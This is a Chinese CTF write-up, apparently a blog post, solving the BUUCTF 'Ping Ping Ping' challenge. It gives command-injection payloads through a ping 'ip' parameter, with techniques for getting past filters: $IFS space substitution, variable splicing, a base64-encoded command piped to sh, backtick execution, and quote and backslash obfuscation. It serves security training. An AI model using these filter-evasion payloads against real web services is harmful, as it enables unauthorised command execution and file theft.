Buuctf web [GXYCTF2019]Ping Ping Ping

根据题目提示和页面显示的/?ip=

/?ip=是get传参的表现,跟据题目ping尝试在/?ip=后面加127.0.0.0

有回显,看来方向是对的,接下来用管道符拼接ls尝试

看到了flag.php,直接cat flag,发现没有找到,发现空格被过滤了fxck your space(空格)!

Liunx下常见的绕过空格方式有以下几种:

cat$IFS$1flag.php//$1-$9都可以

cat${IFS}flag.php

{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来

cat<flag.php

cat<>flag.php

ps:

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

绕过空格之后,又发现符号被过滤了,但是不确定是$还是{}被过滤了

分别进行尝试,发现是{}被过滤了

绕过符号过滤后又发现flag也被过滤了

flag过滤绕过

?ip=127.0.0.0;a=g;cat$IFS$1fla$a.php
?ip=127.0.0.0;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
(这也是官方的 Writeup,原理是既然过滤 bash,那就用 sh,sh 的大部分脚本都可以在 bash下运行:)

?ip=127.0.0.1;cat$IFS$9`ls`

(内连输出:

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,

而这一道题就可以使用cat$IFS$1`ls` 这个命令来输出flag了

还有一些本题没有用到的不错的绕过方法

单双引号绕过

单双引号绕过也是一个不错的姿势。使用单双引号进行拼接,比如

ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。

反斜线绕过

大同小异

ca\t fl\ag

$1、$2等和 $@绕过

大概的形式就是l$1s ca$2t fl$@ag等等。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿勉要睡觉(考试版)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值